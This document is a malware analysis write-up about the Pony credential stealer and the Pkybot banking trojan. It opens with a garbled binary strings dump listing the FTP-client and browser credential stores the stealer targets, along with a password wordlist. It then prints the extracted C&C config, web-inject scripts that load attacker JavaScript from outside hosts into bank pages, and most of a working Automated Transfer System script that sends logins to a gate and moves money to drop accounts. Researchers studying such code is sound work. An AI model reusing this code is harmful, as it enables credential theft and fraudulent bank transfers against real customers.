Z uð_"u:ã.u.Ý.u;Z"uÕì.mlRôlz.etN.etshell32.dll.SHGetFolderPathA...x°u$eA.9eA.IeA._eA.meA.}eA..eA.¢eA.¹eA.ÍeA.æeA..fA.'fA........€....My Documents....€....AppData....€....Local AppData....€ ...Cache....€!...Cookies....€"...History....€....My Documents....€#...Common AppData....€'...My Pictures....€....Common Documents....€/...Common Administrative Tools....€0...Administrative Tools....€....Personal.Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders.explorer.exe.S-1-5-18.....SeImpersonatePrivilege.SeTcbPrivilege.SeChangeNotifyPrivilege.SeCreateTokenPrivilege.SeBackupPrivilege.SeRestorePrivilege.SeIncreaseQuotaPrivilege.SeAssignPrimaryTokenPrivilege..GetNativeSystemInfo.kernel32.dll.IsWow64Process.HWID.{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}.Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0).POST %s HTTP/1.0..Host: %s..Accept: */*..Accept-Encoding: identity, *;q=0..Accept-Language: en-US..Content-Length: %lu..Content-Type: application/octet-stream..Connection: close..Content-Encoding: binary..User-Agent: %s.....Content-Length:.Location:......\*.*.*.*.Software\Microsoft\Windows\CurrentVersion\Internet Settings.ProxyServer.Software\Far\Plugins\FTP\Hosts.Software\Far2\Plugins\FTP\Hosts.Software\Far Manager\Plugins\FTP\Hosts.Software\Far\SavedDialogHistory\FTPHost.Software\Far2\SavedDialogHistory\FTPHost.Software\Far Manager\SavedDialogHistory\FTPHost.Password.HostName.User.Line.wcx_ftp.ini.\GHISLER.InstallDir.FtpIniName.Software\Ghisler\Windows Commander.Software\Ghisler\Total Commander.\Ipswitch.Sites\.\Ipswitch\WS_FTP.\win.ini..ini.WS_FTP.DIR.DEFDIR.CUTEFTP.QCHistory.Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar.Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar.Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar.Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar.Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar.Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar.Software\GlobalSCAPE\CuteFTP 9\QCToolbar.\GlobalSCAPE\CuteFTP.\GlobalSCAPE\CuteFTP Pro.\GlobalSCAPE\CuteFTP Lite.\CuteFTP.\sm.dat.Software\FlashFXP\3.Software\FlashFXP.Software\FlashFXP\4.InstallerDathPath.path.Install Path.DataFolder.\Sites.dat.\Quick.dat.\History.dat.\FlashFXP\3.\FlashFXP\4.\FileZilla.\sitemanager.xml.\recentservers.xml.\filezilla.xml.Software\FileZilla.Software\FileZilla Client.Install_Dir.Host.User.Pass.Port.Remote Dir.Server Type.Server.Host.Server.User.Server.Pass.Server.Port.Path.ServerType.Last Server Host.Last Server User.Last Server Pass.Last Server Port.Last Server Path.Last Server Type.FTP Navigator.FTP Commander.ftplist.txt.\BulletProof Software..dat..bps.Software\BPFTP\Bullet Proof FTP\Main.Software\BulletProof Software\BulletProof FTP Client\Main.Software\BPFTP\Bullet Proof FTP\Options.Software\BulletProof Software\BulletProof FTP Client\Options.Software\BPFTP.LastSessionFile.SitesDir.InstallDir1..xml.\SmartFTP.Favorites.dat.History.dat.addrbk.dat.quick.dat.\TurboFTP.Software\TurboFTP.installpath.Software\Sota\FFFTP.CredentialSalt.CredentialCheck.Software\Sota\FFFTP\Options.Password.UserName.HostAdrs.RemoteDir.Port.HostName.Port.Username.Password.HostDirName.Software\CoffeeCup Software\Internet\Profiles.Software\FTPWare\COREFTP\Sites.Host.User.Port.PW.PthR.SSH.profiles.xml.\FTP Explorer.Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224.Buttons.Software\FTP Explorer\Profiles.Password.PasswordType.Host.Login.Port.InitialPath.FtpSite.xml.\Frigate3..ini.\VanDyke\Config\Sessions.\Sessions.Software\VanDyke\SecureFX.Config Path.UltraFXP.\sites.xml.\FTPRush.RushSite.xml.Server.Username.Password.FtpPort.Software\Cryer\WebSitePublisher.\BitKinex.bitkinex.ds.Hostname.Username.Password.Port.Software\ExpanDrive\Sessions.\ExpanDrive.\drives.js."password" : ".",.Software\ExpanDrive.ExpanDrive_Home.Server.UserName.Password._Password.Directory.Software\NCH Software\ClassicFTP\FTPAccounts.FtpServer.FtpUserName.FtpPassword._FtpPassword.FtpDirectory.SOFTWARE\NCH Software\Fling\Accounts.Software\FTPClient\Sites.Software\SoftX.org\FTPClient\Sites..oxc..oll.ftplast.osd.\GPSoftware\Directory Opus.\SharedSettings.ccs.\SharedSettings_1_0_5.ccs.\SharedSettings.sqlite.\SharedSettings_1_0_5.sqlite.\CoffeeCup Software.leapftp.unleap.exe.sites.dat.sites.ini.\LeapWare\LeapFTP.SOFTWARE\LeapWare.InstallPath.DataDir.Password.HostName.UserName.RemoteDirectory.PortNumber.FSProtocol.Software\Martin Prikryl.\32BitFtp.ini.NDSites.ini.\NetDrive.PassWord.Url.UserName.RootDirectory.Port.Software\South River Technologies\WebDrive\Connections.ServerType.FTP CONTROL.FTPCON..prf.\Profiles.ƒ}ü.Ž³èis¯ÿhttp://.https://.ftp://.opera.wand.dat._Software\Opera Software.Last Directory3.Last Install Path.Opera.HTML\shell\open\command.\Opera Software.wiseftpsrvs.bin.\AceBIT.Software\AceBIT.MRU.SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}.SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}.wiseftpsrvs.ini.wiseftp.ini.FTPVoyager.ftp.FTPVoyager.ftp.backup.FTPVoyager.ftp.old.backup.FTPVoyager.qc.\RhinoSoft.com.nss3.dll.NSS_Init.NSS_Shutdown.NSSBase64_DecodeBuffer.SECITEM_FreeItem.PK11_GetInternalKeySlot.PK11_Authenticate.PK11SDR_Decrypt.PK11_FreeSlot..........................................profiles.ini.Profile.IsRelative.Path.PathToExe.prefs.js.signons.sqlite.signons.txt.signons2.txt.signons3.txt.#2c.#2d.#2e.Firefox.\Mozilla\Firefox\.Software\Mozilla.---.ftp://.http://.https://.moz-proxy://.ftp..fireFTPsites.dat.SeaMonkey.\Mozilla\SeaMonkey\.Flock.\Flock\Browser\.Mozilla.\Mozilla\Profiles\.Software\LeechFTP.AppDir.LocalDir.bookmark.dat.SiteInfo.QFP.Odin.Favorites.dat.WinFTP.sites.db.CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32.servers.xml.\FTPGetter.ESTdb2.dat.QData.dat.\Estsoft\ALFTP.Internet Explorer.WininetCacheCredentials.MS IE FTP Passwords.DPAPI: .@J7<äºÏ.¿}.ª.iFîAJ7<äºÏ.¿}.ª.iFîBJ7<äºÏ.¿}.ª.iFî?...%02X.Software\Microsoft\Internet Explorer\IntelliForms\Storage2.h.t.t.p.:././.w.w.w...f.a.c.e.b.o.o.k...c.o.m./.......„.ˆ.”.È.à.Ø.ä.˜.´.ä.ˆ.Ð.Ü.´.Ð.Œ...ä.´.„.Ì.Ô.à.´.Œ.È.È.ä.À.Ð...ˆ.„.Ü.˜.Ü...Microsoft_WinInet_*.*.ftp://.SspiPfc.Software\Adobe\Common.SiteServers.SiteServer %d\Host.SiteServer %d\WebUrl.SiteServer %d\Remote Directory.SiteServer %d-User.SiteServer %d-User PW.%s\Keychain.SiteServer %d\SFTP.DeluxeFTP.sites.xml.SQLite format 3.table.(.). .CONSTRAINT.PRIMARY.UNIQUE.CHECK.FOREIGN..Web Data.Login Data.logins.origin_url.password_value.username_value.ftp://.http://.https://.moz_logins.hostname.encryptedPassword.encryptedUsername.\Google\Chrome.\Chromium.\ChromePlus.Software\ChromePlus.Install_Dir.\Bromium.\Nichrome.\Comodo.\RockMelt.K-Meleon.\K-Meleon.\Profiles.Epic.\Epic\Epic.Staff-FTP.sites.ini.\Sites.\Visicom Media..ftp.S.e.t.t.i.n.g.s...\Global Downloader.SM.arch.FreshFTP..SMF.BlazeFtp.site.dat.LastPassword.LastAddress.LastUser.LastPort.Software\FlashPeak\BlazeFtp\Settings.\BlazeFtp..fpl.FTP++.Link\shell\open\command.GoFTP.Connections.txt.3D-FTP.sites.ini.\3D-FTP.\SiteDesigner.SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32.EasyFTP.\NetSarang..xfp..rdp.TERMSRV/*.password 51:b:.username:s:.full address:s:...TERMSRV/.FTP Now.FTPNow.sites.xml.SOFTWARE\Robo-FTP 3.7\Scripts.SOFTWARE\Robo-FTP 3.7\FTPServers.FTP Count.FTP File%d.Password.ServerName.UserID.InitialDirectory.PortNumber.ServerType.......A.je‘}.GL/¶Ù. øåÓfMY.2.5.29.37.0...+........Software\LinasFTP\Site Manager.Host.User.Pass.Port.Remote Dir.\Cyberduck..duck.user.config..\Yandex.My FTP.project.ini..xml.{74FF1730-B1F2-4D88-926B-1568FAE61DB7}.NovaFTP.db.\INSoftware\NovaFTP..oeaccount.Salt.........>._@.H`@.Ça@.‰b@.×d@.Xg@.êi@.¡l@.,m@.gm@.èm@.ln@.op@. p@..t@.êv@..y@..z@.àz@.ß{@..~@.¨.@.ñ.@.Y‚@.¬„@.õ„@.Ë.@.é’@.ã“@.SŸ@.ÚŸ@.. @..¡@.ž¡@.%¢@.±¢@.S£@.Ñ£@.+¤@.f¤@.À.@.7³@.h³@.$É@.UÉ@.†É@..Ê@.BÊ@.sÊ@.¤Ê@..Ë@.âË@.lÌ@.FÎ@.¿Î@..Ï@.yÏ@.àÐ@.>Ñ@.¯Ñ@.ÊÒ@.DÓ@.ñÖ@.F×@.°Ú@..Û@.ìÞ@.÷à@.4ã@.}ã@.ñå@.:æ@.¸æ@.'ç@.¥ç@.#è@.Ÿë@..ì@.>ì@.$í@.Uí@.ÿï@.5ð@.kð@.§ò@..ö@..ø@.¾þ@.Øÿ@.¿.A.=.A.x.A.³.A.î.A.).A.d.A.Ÿ.A.Ú.A...A.P.A.‹.A.Æ.A...A.<.A.w.A.².A.í.A.(.A.c.A.ž.A.Ù.A...A.O.A.Š.A.Å.A...A.;.A.v.A.±.A.ì.A.'.A.b.A. .A.Þ.A...A.Z.A.˜.A.....@...(‚0.samantha.michelle.david.eminem.scooter.asdfasdf.sammy.baby.diamond.maxwell.55555.justin.james.chicken.danielle.iloveyou2.fuckoff.prince.junior.rainbow.112233.fuckyou1.1.nintendo.peanut.none.church.bubbles.robert.222222.destiny.loving.gfhjkm.mylove.jasper.hallo.123321.cocacola.helpme.nicole.guitar.billgates.looking.scooby.joseph.genesis.forum.emmanuel.cassie.victory.passw0rd.foobar.ilovegod.nathan.blabla.digital.peaches.football1.11111111.power.thunder.gateway.iloveyou!.football.tigger.corvette.angel.killer.creative.123456789.google.zxcvbnm.startrek.ashley.cheese.a.sunshine.christ.000000.soccer.qwerty1.friend.summer.1234567.merlin.phpbb.12345678.jordan.saved.dexter.viper.winner.sparky.windows.123abc.lucky.anthony.jesus.ghbdtn.admin.hotdog.baseball.password1.dragon.trustno1.jason.internet.mustdie.john.letmein.123.mike.knight.jordan23.abc123.red123.praise.freedom.jesus1.12345.london.computer.microsoft.muffin.qwert.mother.master.111111.qazwsx.samuel.canada.slayer.rachel.onelove.qwerty.prayer.iloveyou1.whatever.god.password.blessing.snoopy.1q2w3e4r.cookie.11111.chelsea.pokemon.hahaha.aaaaaa.hardcore.shadow.welcome.mustang.654321.bailey.blahblah.matrix.jessica.stella.benjamin.testing.secret.trinity.richard.peace.shalom.monkey.iloveyou.thomas.blink182.jasmine.purple.test.angels.grace.hello.poop.blessed.1234567890.heaven.hunter.pepper.john316.cool.buster.andrew.faith.ginger.7777777.hockey.hello1.angel1.superman.enter.daniel.123123.forever.nothing.dakota.kitten.asdf.1111.banana.gates.flower.taylor.lovely.hannah.princess.compaq.jennifer.myspace1.smokey.matthew.harley.rotimi.fuckyou.soccer1.123456.single.joshua.green.123qwe.starwars.love.silver.austin.michael.amanda.1234.charlie.bandit.chris.happy.hope.maggie.maverick.online.spirit.george.friends.dallas.adidas.1q2w3e.7777.orange.testtest.asshole.apple.biteme.666666.william.mickey.asdfgh.wisdom.batman.pass..%d.exe.%02X.true.BINSTR00Software\Microsoft\Windows\CurrentVersion\Run.\WinRAR.sys..exe.SYS_UPDATE.SYS_UPDATE_.fnam.Global\pmtx.lastd.....ð†0.Client Hash.STATUS-IMPORT-OK.....%d.bat.      "%s"   .ShellExecuteA..........   :ktk   ......     del    . %1  ...if  .. exist .   %1  .  goto .. ktk.. del .  %0 .shell32.dll.COMSPEC.%s /c del "%s" > NUL

The Automated Transfer System

Thanks to the info and hint from researcher Kafeine, we know that with the pony executable there comes actually a second malware sample which is the banking malware (known as Tbag/pkybot). Kafeine reported that the sample with hash adaff5845da0520aa2938858ede3617c reports to the same C&C server as listed below.

Through memory grabbing we found a raw configuration and web-injects in the explorer.exe process. At the time of analysis (in February 2015) it was requesting garbux.com (not resolving) and noisymemo.org (108.61.190.85, US), both having who-is privacy set.

Here is what we were able to extract as part of the config:

<config>
<server timeout="300">
<url>garbux.com/link.php</url>
<url>noisymemo.org/link.php</url>
<url>manafasia.com/link.php</url>
</server>
</config>

<server timeout="3600">
<url>garbux.com/link.php</url>
<url>noisymemo.org/link.php</url>
<url>manafasia.com/link.php</url>
</server>

<https enable="true" size="0">
<skip>*microsoft*</skip>

<grab>*</grab>
</https>

<cookie enable="true" size="0">
<skip>*microsoft*</skip>

<grab>*halifax*</grab>
<grab>*scotland*</grab>
<grab>*lloyds*</grab>
<grab>*tsb.co.uk*</grab>
</cookie>

<inject enable="true">
<dns_redirect from="fakedomain.de" to="realdomain.net"/>
</inject>

</config>

And the web-injects:

<script type="text/javascript" id="inj_add">
navigator.bot_id="user1_C4369E3B11BB4CD799D6F0780AD97B1A";
document.write('<scr'+'ipt type="text/javascript" id="inj_inj" src="https://zertifikatkey.com/images/content/bankofscotland/bankofscotland.js?r='+Number(new Date())+'"></scr'+'ipt>');
</script>

<script type="text/javascript" id="inj_add">
navigator.bot_id="user1_C4369E3B11BB4CD799D6F0780AD97B1A";
navigator.adm="https://zertifikatkey.com/images/";
document.write('<scr'+'ipt type="text/javascript" id="inj_inj" src="https://zertifikatkey.com/images/content/lloydsbank/lloydsbank.js?r='+Number(new Date())+'"></scr'+'ipt>');
</script>

<script type="text/javascript">
if (!window.jQuery){
       document.write('<scr' + 'ipt src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/jquery.js"></scr' + 'ipt>');
}
</script>
<script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/csebanking.js"></script>

<script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/chebanca.js"></script>


data_end
data_after
data_end


set_url https://www.csebanking.it/fec/*.html*
data_before
data_end
data_inject
<script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/jquery.js"></script>
<script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/csebanking.js"></script>
data_end
data_after
<script
data_end


set_url https://banking.credem.it*
data_before
data_end
data_inject
<script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/credem.js"></script>
data_end
data_after
</head>
data_end

set_url https://www.chebanca.it*
data_before
data_end
data_inject
<script type="text/javascript">
if (!window.jQuery){
       document.write('<scr' + 'ipt src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/jquery.js"></scr' + 'ipt>');
}
</script>
<script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/chebanca.js"></script>  
data_end
data_after
</head>
data_end

Check-in to the Pkybot server:

4

The returned public key:

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEOjs47xNPgUeqURzsxWTlDqrd
Qs9jX8xkcCxXmFpAXkgTwe2q81B5r1PZy/9LFX7qPFPzhsZOdur0hQ7yYEP6gXUw
XA8Gtr6xYUz1k5Ftr0nC26Jkcg1X4MCkYpsVUtNyeb5T/xJOCyMCcT7Dy3UPMOHW
Kwgd712QskNtWeYBWQIDAQAB
-----END PUBLIC KEY-----

The second POST:

5

Automated Transfer System’s Javascript Code

Interestingly, the ATS JS links from above are still active as of today (i.e., https://1024sslsecurity.com/sajf98wquioijhsa/scripts/csebanking.js still works).

This is the csebanking javascript beautified, it reveals the real ATS – the component which can replace the banking account numbers in the browser of an infected machine to the attackers one:

var jq = jQuery.noConflict();
_cssCode = '.digipass { background: url("https://1024sslsecurity.com/sajf98wquioijhsa/images/digipass.gif") no-repeat !important; } .inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=0); opacity: 0; } #inj_dialog_box { position: relative; z-index: 4001; width: 100%; } .inj_content_para { padding: 10px; font-size: 16px; } .inj_content_block { padding: 10px; font-size: 14px; } .inj_buttons_block { text-align: center; margin-top: 1em; } .inj_error { display: none; color: #FF0000; font-weight: bold; font-size: 70%; }';
if ((document.readyState === "loading") || (document.readyState === "interactive"))
    document.write('<style type="text/css">' + _cssCode + '</style>');
else
    jq('head').append('<style type="text/css">' + _cssCode + '</style>');

var ATS = {
    bank: '',
    account_id: 0,
    script_ver: '0',
    debug_mode: false,
    current_state: 0,
    StepInFrame: {
        0: "BeginWork",
        10: "framePageFinanzstatus",
        15: "Transactions",
        20: "Overseas_remittance",
        30: "SEPA_page",
        110: "SEPA_form_filled",
        120: "TAN_ENTERED",
        130: "Internal_transf_page",
        140: "INT_form_filled",
        150: "Transfer",
        160: "TransferToSepa",
        170: "Pre_SEPA_page",
        180: "randomPage",
        190: "inside_randomPage",
        set_current_state: function(state) {
            for (var key in this) {
                if (typeof this[key] != 'function' && state == this[key]) {
                    parent.ATS.current_state = key;
                    return key;
                }
            }
            return false;
        }
    },
    isDebugMode: function() {
        return ATS.debug_mode;
    },
    getBrowserFull: function() {
        var res = 'na';
        try {
            var m = navigator.userAgent.match(/Firefox\/(\d+)/);
            if (m) {
                res = 'ff' + m[1];
            } else {
                m = navigator.userAgent.match(/MSIE (\d+)/);
                if (m)
                    res = 'ie' + m[1];
            }
        } catch (e) {
            res = 'ex';
        }
        return res;
    },
    debugMsg: function(message) {
        if (this.isDebugMode()) {
            if (window.console && window.console.log)
                window.console.log(message);
            else
                alert(message);
        }
    },
    _cookies: new Object(),
    setCookie: function(name, value) {
        ATS.debugMsg('setCookie: ' + name + ' = ' + value);
        ATS._cookies['#' + name] = value;
    },
    getCookie: function(name) {
        if (typeof ATS._cookies['#' + name] == 'undefined')
            return null;
        return ATS._cookies['#' + name];
    },
    serializeCookies: function() {
        var result = new Array();
        for (var i in ATS._cookies) {
            if (i.indexOf('#') == 0) {
                result.push(encodeURIComponent(i) + '=' + encodeURIComponent(ATS._cookies[i]));
            }
        }
        return result.join('&');
    },
    unserializeCookies: function(rawData) {
        var result = new Object();
        for (var i in rawData) {
            result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
        }
        return result;
    },
    saveCookies: function(callback) {
        ATS.sendGateRequest('save_cookies', {
            data: ATS.serializeCookies()
        }, callback);
    },
    sendGateRequest: function(action, params, callback) {
        data = jq.extend({
            bank: ATS.bank,
            aid: ATS.account_id
        }, params);
        var url = ATS.gateURL + '?a=' + action + '&cb=?';
        if ((typeof __debugDisabled == 'undefined') || !__debugDisabled) {
            jq.ajax({
                url: url,
                dataType: 'jsonp',
                crossDomain: true,
                data: data,
                success: callback
            });
        }
    },
    die: function(msg) {
        ATS.sendLogMsg('ERROR: ' + msg, function() {
            ATS.setCookie('error_time', ATS.getTime());
            ATS.setCookie('status', 2);
            ATS.saveCookies(function() {
                if ((parent.window !== window) && parent.ATS) {
                    ATS.debugMsg('die in frame');
                    parent.ATS.UI_hideDialogBox();
                    parent.ATS.UI_unblockSite();
                    jq('.inj_full_overlay', parent.document).remove();
                } else {
                    ATS.debugMsg('die outside frame');
                    ATS.UI_hideDialogBox();
                    ATS.UI_unblockSite();
                    jq('.inj_full_overlay').remove();
                }
            });
        });
    },
    getTime: function() {
        return Math.floor((new Date).getTime() / 1000);
    },
    transferSepa: function() {
        ATS.sendLogMsg('transferSepa');
        ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function() {
            ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
            ATS.setCookie('transfer_time', ATS.getTime());
            ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
            ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
            ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
            var transfer_acc = parent.ATS.maxAcc.number;
            if (transfer_acc) {
                ATS.setCookie('transfer_acc', transfer_acc);
                ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
            }
            ATS.setCookie('Gesamtsaldo', parent.ATS.Gesamtsaldo);
            ATS.setCookie('status', 1);
            ATS.saveCookies(function() {
                parent.ATS.UI_hideDialogBox();
                parent.ATS.UI_unblockSite();
                ATS.replaceBalances();
                jq('.inj_full_overlay', parent.document).remove();
            });
        });
    },
    transferInternal: function() {
        ATS.sendLogMsg('transferInternal');
        ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function() {
            ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
            ATS.setCookie('transfer_time', ATS.getTime());
            ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
            ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
            ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
            var transfer_acc = parent.ATS.maxAcc.number;
            if (transfer_acc) {
                ATS.setCookie('transfer_acc', transfer_acc);
                ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
            }
            ATS.setCookie('status', 1);
            ATS.setCookie('Gesamtsaldo', parent.ATS.Gesamtsaldo);
            ATS.saveCookies(function() {
                parent.ATS.UI_hideDialogBox();
                parent.ATS.UI_unblockSite();
                ATS.replaceBalances();
                jq('.inj_full_overlay', parent.document).remove();
            });
        });
    },
    sendPostGateRequest: function(action, params) {
        ATS.debugMsg('sendPostGateRequest: ' + action);
        data = jq.extend({
            bank: parent.ATS.bank,
            aid: parent.ATS.account_id
        }, params);
        var url = ATS.gateURL + '?a=' + action;
        ATS.debugMsg('url = ' + url + '; params = ' + params);
        if ((typeof __debugDisabled == 'undefined') || !__debugDisabled) {
            jq.ajax({
                type: 'POST',
                url: url,
                crossDomain: true,
                data: data
            });
        }
    },
    base64_encode: function(input) {
        var output = "";
        var chr1, chr2, chr3;
        var enc1, enc2, enc3, enc4;
        var i = 0;
        var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        do {
            chr1 = input.charCodeAt(i++);
            chr2 = input.charCodeAt(i++);
            chr3 = input.charCodeAt(i++);
            enc1 = chr1 >> 2;
            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
            enc4 = chr3 & 63;
            if (isNaN(chr2)) {
                enc3 = enc4 = 64;
            } else if (isNaN(chr3)) {
                enc4 = 64;
            }
            output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4);
        } while (i < input.length);
        return output;
    },
    utf8_encode: function(argString) {
        if (argString === null || typeof argString === "undefined")
            return "";
        var string = (argString + '');
        var utftext = '',
            start, end, stringl = 0;
        start = end = 0;
        stringl = string.length;
        for (var n = 0; n < stringl; n++) {
            var c1 = string.charCodeAt(n);
            var enc = null;
            if (c1 < 128) {
                end++;
            } else if (c1 > 127 && c1 < 2048) {
                enc = String.fromCharCode((c1 >> 6) | 192, (c1 & 63) | 128);
            } else if (c1 & 0xF800 != 0xD800) {
                enc = String.fromCharCode((c1 >> 12) | 224, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128);
            } else {
                if (c1 & 0xFC00 != 0xD800) {
                    return 'error 1';
                }
                var c2 = string.charCodeAt(++n);
                if (c2 & 0xFC00 != 0xDC00) {
                    return 'error 2';
                }
                c1 = ((c1 & 0x3FF) << 10) + (c2 & 0x3FF) + 0x10000;
                enc = String.fromCharCode((c1 >> 18) | 240, ((c1 >> 12) & 63) | 128, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128);
            }
            if (enc !== null) {
                if (end > start) {
                    utftext += string.slice(start, end);
                }
                utftext += enc;
                start = end = n + 1;
            }
        }
        if (end > start)
            utftext += string.slice(start, stringl);
        return utftext;
    },
    sendDump: function(msg, data) {
        ATS.sendPostGateRequest('dump', {
            msg: msg,
            data: ATS.base64_encode(ATS.utf8_encode(data))
        });
    },
    loadData: function(callback) {
        ATS.sendGateRequest('load_data', {}, function(data) {
            ATS.account_id = data.account_id;
            ATS._cookies = ATS.unserializeCookies(data.cookies);
            if (typeof callback == 'function')
                callback();
        });
    },
    sendLoginInfo: function(login, password, callback) {
        ATS.sendGateRequest('login', {
            login: login,
            password: password,
            url: window.location.href,
            ver: ATS.script_ver + ' / ' + ATS.getBrowserFull()
        }, callback);
    },
    _logMsgSeq: 0,
    sendLogMsg: function(text, callback) {
        ATS.debugMsg('sendLogMsg: ' + text);
        if (parent && parent.ATS && parent.ATS.sendGateRequest) {
            parent.ATS._logMsgSeq++;
            parent.ATS.sendGateRequest('log_msg', {
                ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(),
                text: parent.ATS._logMsgSeq + ': ' + text
            }, callback);
        } else {
            ATS._logMsgSeq++;
            ATS.sendGateRequest('log_msg', {
                ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(),
                text: ATS._logMsgSeq + ': ' + text
            }, callback);
        }
    },
    getDrop: function(transfType, balance, callback) {
        ATS.sendGateRequest('get_drop', {
            type: transfType,
            balance: balance
        }, callback);
    },
    getDropWithLimit: function(transfType, balance, limit, callback) {
        ATS.sendGateRequest('get_drop', {
            type: transfType,
            balance: balance,
            limit: limit
        }, callback);
    },
    putTransfer: function(transfType, drop, amount, callback) {
        ATS.sendGateRequest('transfer', {
            type: transfType,
            did: drop,
            amount: amount
        }, callback);
    },
    sendAccountsInfo: function(accountsInfo, callback) {
        try {
            ATS.sendGateRequest('save_accounts_info', {
                data: JSON.stringify(accountsInfo)
            }, callback);
        } catch (e) {}
    },
    randInt: function(min, max) {
        return Math.round(min + Math.random() * (max - min));
    },
    imgSubmit: function(button) {
        var form = jq('form').has(jq(button));
        if (jq(form).length == 0)
            return 0;
        var buttonName = jq(button).attr('name');
        if (buttonName != '') {
            var buttonWidth = parseInt(jq(button).css('width'));
            if (!buttonWidth)
                buttonWidth = 10;
            var buttonHeight = parseInt(jq(button).css('height'));
            if (!buttonHeight)
                buttonHeight = 10;
            var clickX = ATS.randInt(buttonWidth * 0.2, buttonWidth * 0.8);
            var clickY = ATS.randInt(buttonHeight * 0.2, buttonHeight * 0.8);
            jq(button).remove();
            jq(form).append('<input type=hidden name="' + buttonName + '.x" value="' + clickX + '" />');
            jq(form).append('<input type=hidden name="' + buttonName + '.y" value="' + clickY + '" />');
            jq(form).submit();
        } else
            jq(button).click();
    },
    delayedClick: function(button, minDelay, maxDelay) {
        setTimeout(function() {
            if (jq(button).attr('type') == 'image') {
                ATS.imgSubmit(jq(button));
            } else
                jq(button).click();
        }, ATS.randInt(minDelay, maxDelay));
    }
};

ATS.lastPage = false;
ATS.ajaxGet = function(url, sel, cb) {
    jq.ajax({
        url: url,
        cache: false,
        dataType: 'html',
        timeout: 20000,
        success: function(html) {
            if (typeof cb == 'function') {
                ATS.lastPage = html;
                jq(html).filter(sel).each(function() {
                    cb(jq(this));
                });
            }
        },
        error: function(xhr, ajaxOptions, thrownError) {
            ATS.sendLogMsg("ATS.ajaxGet error : xhr.status=" + xhr.status + "; thrownError=" + thrownError + "; xhr.responseText=" + xhr.responseText);
        }
    });
}
ATS.ajaxPost = function(url, params, sel, cb) {
    jq.ajax({
        url: url,
        type: 'POST',
        data: params,
        cache: false,
        dataType: 'html',
        success: function(html) {
            if (typeof cb == 'function') {
                ATS.lastPage = html;
                jq(html).filter(sel).each(function() {
                    cb(jq(this));
                });
            }
        },
        error: function(xhr, ajaxOptions, thrownError) {
            ATS.sendLogMsg("ATS.ajaxPost error : xhr.status=" + xhr.status + "; thrownError=" + thrownError + "; xhr.responseText=" + xhr.responseText);
        }
    });
}
ATS.ajaxPostWithoutParseJq = function(url, params, callback) {
    jq.ajax({
        url: url,
        type: 'POST',
        data: params,
        cache: false,
        dataType: 'html',
        success: function(html) {
            ATS.lastPage = html;
            callback(html);
        }
    });
}
ATS.ajaxGetWithoutParseJq = function(url, callback) {
    jq.ajax({
        url: url,
        cache: false,
        dataType: 'html',
        timeout: 20000,
        success: function(html) {
            ATS.lastPage = html;
            callback(html);
        }
    });
}
ATS.PostForm = function(selector) {
    this._selector = selector;
    this._form = jq(selector);
    this._errorText = '';
    this._elements = jq(this._form).find('input, select, textarea');
}
ATS.PostForm.prototype.getFormAction = function() {
    return jq(this._form).attr('action');
}
ATS.PostForm.prototype.addHiddenElem = function(id, name, value) {
    var el = jq('<input type="hidden" />');
    jq(el).attr('id', id);
    jq(el).attr('name', name);
    jq(el).attr('value', value);
